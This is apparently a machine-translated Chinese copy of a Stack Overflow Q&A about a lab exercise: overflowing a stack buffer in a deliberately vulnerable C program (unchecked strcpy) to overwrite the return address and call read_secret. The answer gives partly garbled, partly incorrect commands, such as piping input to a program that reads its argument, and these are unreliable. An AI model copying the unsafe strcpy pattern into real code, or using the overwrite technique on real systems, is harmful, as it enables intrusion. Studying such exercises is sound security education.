首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >缓冲区溢出攻击,执行未调用的函数

缓冲区溢出攻击,执行未调用的函数
EN

Stack Overflow用户
提问于 2019-03-20 21:18:36
回答 1查看 319关注 0票数 1

因此,我试图利用这个程序,它有一个缓冲区溢出漏洞来获取/返回一个锁定的.txt (read_secret())后面的秘密。

漏洞.c//此处无编辑

代码语言:javascript
运行
复制
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
    FILE *fptr = fopen("/task2/secret.txt", "r");
    char secret[1024];
    fscanf(fptr, "%512s", secret);
    printf("Well done!\nThere you go, a wee reward: %s\n", secret);
    exit(0);
}

int fib(int n)
{
   if ( n == 0 )
      return 0;
   else if ( n == 1 )
      return 1;
   else
      return ( fib(n-1) + fib(n-2) );
} 

void vuln(char *name)
{
    int n = 20;
    char buf[1024];
    int f[n];
    int i;
    for (i=0; i<n; i++) {
      f[i] = fib(i);
    }
    strcpy(buf, name);
    printf("Welcome %s!\n", buf);
    for (i=0; i<20; i++) {
      printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
    } 
}


int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Tell me your names, tricksy hobbitses!\n");
        return 0;
    }

    // printf("main function at %p\n", main);
    // printf("read_secret function at %p\n", read_secret);
    vuln(argv[1]);
    return 0;
}

attack.c //待编辑

代码语言:javascript
运行
复制
#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"

我知道,如果我打印足够大的字符串,可能会导致段错误,但这对我没有任何帮助。我试图让程序通过覆盖堆栈上的返回地址来执行read_secret,并返回到read_secret函数,而不是返回到main。

但我被困在这里了。我知道我必须使用GDB来获取read_secret函数的地址,但我有点困惑。我知道我必须将main()地址替换为read_secret函数的地址,但我不确定如何替换。

谢谢

EN

回答 1

Stack Overflow用户

发布于 2019-09-08 04:52:41

如果你想通过一个缓冲区溢出漏洞来执行一个函数,你必须首先确定你可以得到一个段错误的偏移量。在你的情况下,我假设是1026。整个游戏是覆盖eip(告诉程序下一步要做什么),然后添加您自己的指令。

要添加您自己的指令,您需要知道该指令的地址,然后在gdb中打开您的程序,然后键入:

代码语言:javascript
运行
复制
x function name

然后复制地址。然后,您必须将其转换为大端或小端格式。我用python中的struct模块来做这件事。

代码语言:javascript
运行
复制
import struct
struct.pack("<I", address) # for little endian for big endian its different

然后,您必须将它添加到您的输入到二进制文件中,这样类似于:Pythontask2 "print 'a‘* 1026 + 'the_address'“|/task2/the_address #on bash shell,而不是在脚本中

如果所有这些都不起作用,那么只需在偏移量中添加几个字符即可。可能会有你没有预料到的事情发生。

代码语言:javascript
运行
复制
python -c "print 'a' * 1034 + 'the_address'" | /task2/vuln

希望这回答了你的问题。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/55261693

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档